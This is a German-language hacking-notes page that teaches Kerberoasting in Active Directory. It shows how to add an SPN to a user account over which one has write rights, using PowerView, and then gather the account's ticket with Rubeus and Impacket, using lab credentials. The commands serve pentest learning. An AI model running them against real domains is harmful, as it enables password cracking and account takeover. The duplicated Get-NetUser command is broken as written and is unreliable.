> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/active-directory/kerberos/kerberoasting-via-spn-modification.md).

# Kerberoasting durch SPN-Änderung

### Prinzip

Wenn Sie Schreibrechte für einen Benutzer haben, zum Beispiel:

```
GenericWriteGenericAllWriteProperty
```

können wir einen SPN hinzufügen.

Sobald der SPN hinzugefügt wurde, wird dieses Konto kerberoastbar.

### Beispiel mit `evy.marnia`

In Ihrem Labor nehmen wir an, dass `user1` hat Schreibberechtigung für:

```bash
evy.marnia
```

Wir fügen einen SPN hinzu:

{% code overflow="wrap" %}

```bash
Set-DomainObject -Identity evy.marnia -Set @{serviceprincipalname='test/testing'}
```

{% endcode %}

### Überprüfen Sie die Erstellung des SPN

{% code overflow="wrap" %}

```powershell
Get-NetUser -SPN Get-NetUser -SPN | select serviceprincipalname
```

{% endcode %}

Wir sollten sehen, dass der SPN hinzugefügt wurde:

<figure><img src="/files/442fe512518e7b87230e6325a301019a864869bd" alt=""><figcaption></figcaption></figure>

### Sammeln Sie das Ticket mit Rubeus

{% code overflow="wrap" %}

```bash
.\Rubeus.exe kerberoast
```

{% endcode %}

### Rufen Sie das Ticket mit Impacket ab

```bash
GetUserSPNs.py whoami.local/user1:'Password1234' -dc-ip 172.16.0.100 -request
```

<figure><img src="/files/b193afb43920477ea84db2faa14f2fd8b567526a" alt=""><figcaption></figcaption></figure>


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